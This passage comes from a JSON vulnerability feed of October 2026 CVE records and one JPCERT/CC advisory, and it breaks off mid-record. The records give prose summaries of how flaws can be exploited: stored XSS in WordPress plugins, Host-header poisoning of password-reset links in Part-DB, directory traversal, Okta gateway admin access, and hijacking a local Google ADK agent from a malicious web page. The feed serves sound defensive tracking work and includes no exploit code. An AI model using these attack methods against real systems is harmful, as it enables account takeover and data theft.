2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94262&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94262, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113500","cveId":"CVE-2026-113500","aliases":[],"kind":"vulnerability","title":"The LiteSpeed Cache WordPress plugin before 7.9.2 does not limit one of its HTML optimization routines to stylesheet content, so it can delete the markup that closes an attribute...","summary":"The LiteSpeed Cache WordPress plugin before 7.9.2 does not limit one of its HTML optimization routines to stylesheet content, so it can delete the markup that closes an attribute in the rendered page, and combined with unescaped comment author output this allows unauthenticated users whose comments are published to inject event-handler attributes that run JavaScript in the browser of any visitor, including a logged-in administrator, viewing front-end pages while the optimization is enabled.","detail":"The LiteSpeed Cache WordPress plugin before 7.9.2 does not limit one of its HTML optimization routines to stylesheet content, so it can delete the markup that closes an attribute in the rendered page, and combined with unescaped comment author output this allows unauthenticated users whose comments are published to inject event-handler attributes that run JavaScript in the browser of any visitor, including a logged-in administrator, viewing front-end pages while the optimization is enabled.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T06:17:06.587Z","updatedAt":"2026-10-23T14:20:57.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113500","asOf":"2026-10-23T14:20:57.920Z"},"epss":{"probability":0.00304,"percentile":0.22952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113500&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113500","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113500","type":"primary","publishedAt":"2026-10-23T06:17:06.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113500&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113500, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113499","cveId":"CVE-2026-113499","aliases":[],"kind":"vulnerability","title":"The LiteSpeed Cache WordPress plugin before 7.9.2 does not restrict one of its HTML rewriting routines to stylesheet content, so it removes a quote that terminates an attribute in...","summary":"The LiteSpeed Cache WordPress plugin before 7.9.2 does not restrict one of its HTML rewriting routines to stylesheet content, so it removes a quote that terminates an attribute in the rendered page, and combined with unescaped comment author output this allows unauthenticated users whose comment is published to inject attributes that execute JavaScript in the browser of any visitor, including a logged-in administrator, who views front-end pages while the affected option is enabled.","detail":"The LiteSpeed Cache WordPress plugin before 7.9.2 does not restrict one of its HTML rewriting routines to stylesheet content, so it removes a quote that terminates an attribute in the rendered page, and combined with unescaped comment author output this allows unauthenticated users whose comment is published to inject attributes that execute JavaScript in the browser of any visitor, including a logged-in administrator, who views front-end pages while the affected option is enabled.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T06:17:06.490Z","updatedAt":"2026-10-23T14:20:57.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113499","asOf":"2026-10-23T14:20:57.920Z"},"epss":{"probability":0.00304,"percentile":0.22952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113499&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113499","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113499","type":"primary","publishedAt":"2026-10-23T06:17:06.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113499&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113499, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111982","cveId":"CVE-2026-111982","aliases":[],"kind":"vulnerability","title":"The User Profile Builder  WordPress plugin before 4.0.5 does not verify that a user is authorized to edit the specific account selected on its front-end Edit Profile form,...","summary":"The User Profile Builder  WordPress plugin before 4.0.5 does not verify that a user is authorized to edit the specific account selected on its front-end Edit Profile form, allowing an Administrator of a Multisite subsite to change any other user's account email, including a Network Super Admin's, and take over that account through the password-reset flow.","detail":"The User Profile Builder  WordPress plugin before 4.0.5 does not verify that a user is authorized to edit the specific account selected on its front-end Edit Profile form, allowing an Administrator of a Multisite subsite to change any other user's account email, including a Network Super Admin's, and take over that account through the password-reset flow.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T06:17:06.097Z","updatedAt":"2026-10-23T14:20:57.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111982","asOf":"2026-10-23T14:20:57.920Z"},"epss":{"probability":0.00334,"percentile":0.26543,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111982&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111982","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111982","type":"primary","publishedAt":"2026-10-23T06:17:06.097Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111982&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111982, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109936","cveId":"CVE-2026-109936","aliases":[],"kind":"vulnerability","title":"The Otter Blocks  WordPress plugin before 3.2.8 does not correctly bound a pattern it uses to rewrite its dynamic-content tokens while rendering blocks, so the pattern can consume...","summary":"The Otter Blocks  WordPress plugin before 3.2.8 does not correctly bound a pattern it uses to rewrite its dynamic-content tokens while rendering blocks, so the pattern can consume the quote that closes an HTML attribute and pull adjacent unescaped data into the markup as new attributes. This allows unauthenticated users to achieve stored Cross-Site Scripting that executes in the browser of any visitor who views an affected page, including a logged-in administrator.","detail":"The Otter Blocks  WordPress plugin before 3.2.8 does not correctly bound a pattern it uses to rewrite its dynamic-content tokens while rendering blocks, so the pattern can consume the quote that closes an HTML attribute and pull adjacent unescaped data into the markup as new attributes. This allows unauthenticated users to achieve stored Cross-Site Scripting that executes in the browser of any visitor who views an affected page, including a logged-in administrator.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T06:17:05.487Z","updatedAt":"2026-10-23T14:20:57.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109936","asOf":"2026-10-23T14:20:57.920Z"},"epss":{"probability":0.00282,"percentile":0.20487,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109936&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109936","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109936","type":"primary","publishedAt":"2026-10-23T06:17:05.487Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109936&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109936, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107858","cveId":"CVE-2026-107858","aliases":[],"kind":"vulnerability","title":"Missing Origin Validation in WebSockets (CWE-1385) and Permissive Cross-domain Policy with Untrusted Domains (CWE-942) in the development web server (ADK Web) in Google Agent...","summary":"Missing Origin Validation in WebSockets (CWE-1385) and Permissive Cross-domain Policy with Untrusted Domains (CWE-942) in the development web server (ADK Web) in Google Agent Development Kit (ADK) for Java (com.google.adk:google-adk-dev versions 0.1.0 before 1.13.0 and com.google.adk:google-adk-maven-plugin versions 0.3.0 before 1.13.0) allow a remote attacker to control a locally running agent and read its data via a malicious web page visited by a developer while the server is running. The /run_live WebSocket endpoint accepts connections from any origin by default (hardcoded via setAllowedOrigins(\"*\") in versions 0.1.0 through 1.5.0, and defaulting to * via adk.web.cors.origins in versions 1.6.0 through 1.12.0), and since version 0.4.0 the REST API returns Access-Control-Allow-Origin: * by default. Because the server has no authentication and requests originate from the developer's browser (so binding to localhost does not prevent exploitation), a cross-origin page can send messages to the agent (triggering registered tools), stream agent responses, and list, read, create, or delete sessions and artifacts. In versions 1.6.0 through 1.12.0, users can mitigate the issue by setting the adk.web.cors.origins property to an explicit allowlist of trusted origins (such as http://localhost:8000). The vulnerability is fixed in version 1.13.0, which enforces a same-origin default for CORS and the /run_live WebSocket endpoint, and rejects DNS-rebinding requests over loopback.","detail":"Missing Origin Validation in WebSockets (CWE-1385) and Permissive Cross-domain Policy with Untrusted Domains (CWE-942) in the development web server (ADK Web) in Google Agent Development Kit (ADK) for Java (com.google.adk:google-adk-dev versions 0.1.0 before 1.13.0 and com.google.adk:google-adk-maven-plugin versions 0.3.0 before 1.13.0) allow a remote attacker to control a locally running agent and read its data via a malicious web page visited by a developer while the server is running. The /run_live WebSocket endpoint accepts connections from any origin by default (hardcoded via setAllowedOrigins(\"*\") in versions 0.1.0 through 1.5.0, and defaulting to * via adk.web.cors.origins in versions 1.6.0 through 1.12.0), and since version 0.4.0 the REST API returns Access-Control-Allow-Origin: * by default. Because the server has no authentication and requests originate from the developer's browser (so binding to localhost does not prevent exploitation), a cross-origin page can send messages to the agent (triggering registered tools), stream agent responses, and list, read, create, or delete sessions and artifacts. In versions 1.6.0 through 1.12.0, users can mitigate the issue by setting the adk.web.cors.origins property to an explicit allowlist of trusted origins (such as http://localhost:8000). The vulnerability is fixed in version 1.13.0, which enforces a same-origin default for CORS and the /run_live WebSocket endpoint, and rejects DNS-rebinding requests over loopback.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T06:17:03.733Z","updatedAt":"2026-10-23T19:42:24.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107858","asOf":"2026-10-23T19:42:24.553Z"},"epss":{"probability":0.0036,"percentile":0.29463,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107858&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107858","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107858","type":"primary","publishedAt":"2026-10-23T06:17:03.733Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107858&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107858, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86055","cveId":"CVE-2026-86055","aliases":[],"kind":"vulnerability","title":"Part-DB is an open source inventory management system for electronic components.","summary":"Part-DB is an open source inventory management system for electronic components. Prior to version 2.13.3, Part-DB builds the absolute URL of the password-reset link it emails to a user from the client-supplied HTTP Host header, with no trusted-host validation. An unauthenticated attacker who submits a forgot-password request for a known account while sending a spoofed Host header causes Part-DB to email that account a reset link whose hostname is attacker-controlled, while still embedding the genuine reset token. When the victim opens the link (or an automated inbound mail-security scanner dereferences it), the valid token is disclosed to the attacker, who replays it against the real instance to set a new password and take over the account. Because the seeded admin account can be targeted, this yields full pre-authentication administrative account takeover. This issue has been patched in version 2.13.3.","detail":"Part-DB is an open source inventory management system for electronic components. Prior to version 2.13.3, Part-DB builds the absolute URL of the password-reset link it emails to a user from the client-supplied HTTP Host header, with no trusted-host validation. An unauthenticated attacker who submits a forgot-password request for a known account while sending a spoofed Host header causes Part-DB to email that account a reset link whose hostname is attacker-controlled, while still embedding the genuine reset token. When the victim opens the link (or an automated inbound mail-security scanner dereferences it), the valid token is disclosed to the attacker, who replays it against the real instance to set a new password and take over the account. Because the seeded admin account can be targeted, this yields full pre-authentication administrative account takeover. This issue has been patched in version 2.13.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T05:17:19.060Z","updatedAt":"2026-10-23T19:36:32.410Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86055","asOf":"2026-10-23T19:36:32.410Z"},"epss":{"probability":0.004,"percentile":0.33939,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86055&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86055","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86055","type":"primary","publishedAt":"2026-10-23T05:17:19.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86055&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86055, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115497","cveId":"CVE-2026-115497","aliases":[],"kind":"vulnerability","title":"The Music Store – WordPress eCommerce plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.4.7 via the 'f' parameter parameter.","summary":"The Music Store – WordPress eCommerce plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.4.7 via the 'f' parameter parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. Exploitation requires a valid purchase_id token, which any user can obtain by making a single low-cost purchase or receiving a shared download link.","detail":"The Music Store – WordPress eCommerce plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.4.7 via the 'f' parameter parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. Exploitation requires a valid purchase_id token, which any user can obtain by making a single low-cost purchase or receiving a shared download link.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T05:17:15.063Z","updatedAt":"2026-10-23T14:20:57.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115497","asOf":"2026-10-23T14:20:57.920Z"},"epss":{"probability":0.00885,"percentile":0.58967,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115497&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115497","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115497","type":"primary","publishedAt":"2026-10-23T05:17:15.063Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115497&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115497, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109198","cveId":"CVE-2026-109198","aliases":[],"kind":"vulnerability","title":"The Anti-Spam by CleanTalk – Spam Protection Without CAPTCHA plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'user_email' parameter in all versions up...","summary":"The Anti-Spam by CleanTalk – Spam Protection Without CAPTCHA plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'user_email' parameter in all versions up to, and including, 6.89.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful exploitation requires user registration to be open on the site, and script execution is triggered when an Administrator subsequently runs the plugin's user-spam scan and views the resulting Non-checkable users or Spam users tab — the plugin's own documented workflow.","detail":"The Anti-Spam by CleanTalk – Spam Protection Without CAPTCHA plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'user_email' parameter in all versions up to, and including, 6.89.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful exploitation requires user registration to be open on the site, and script execution is triggered when an Administrator subsequently runs the plugin's user-spam scan and views the resulting Non-checkable users or Spam users tab — the plugin's own documented workflow.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T05:17:14.773Z","updatedAt":"2026-10-23T14:20:57.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109198","asOf":"2026-10-23T14:20:57.920Z"},"epss":{"probability":0.00378,"percentile":0.31525,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109198&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109198","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109198","type":"primary","publishedAt":"2026-10-23T05:17:14.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109198&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109198, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115546","cveId":"CVE-2026-115546","aliases":[],"kind":"vulnerability","title":"Okta Access Gateway (OAG) does not validate the selected authentication source during sign-on.","summary":"Okta Access Gateway (OAG) does not validate the selected authentication source during sign-on. An authenticated user with an active session can modify the authentication source parameter, which may generate a SAML assertion granting access to the Admin Console.","detail":"Okta Access Gateway (OAG) does not validate the selected authentication source during sign-on. An authenticated user with an active session can modify the authentication source parameter, which may generate a SAML assertion granting access to the Admin Console.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T04:18:15.047Z","updatedAt":"2026-10-23T16:44:17.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115546","asOf":"2026-10-23T16:44:17.950Z"},"epss":{"probability":0.0042,"percentile":0.36052,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115546&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115546","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115546","type":"primary","publishedAt":"2026-10-23T04:18:15.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115546&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115546, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-at260030-11ef2ef31a95","cveId":null,"aliases":[],"kind":"advisory","title":"Security alert: Recent series of unauthorized access incidents at organizations in Japan (updated)","summary":"Security alert: Recent series of unauthorized access incidents at organizations in Japan (updated). Original Japanese title: 注意喚起: 直近で相次いでいる国内組織における不正アクセスに関する注意喚起 (更新)","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-23T02:37:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Security alert: Recent series of unauthorized access incidents at organizations in Japan (updated)","url":"https://www.jpcert.or.jp/at/2026/at260030.html","type":"primary","publishedAt":"2026-10-23T02:37:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and 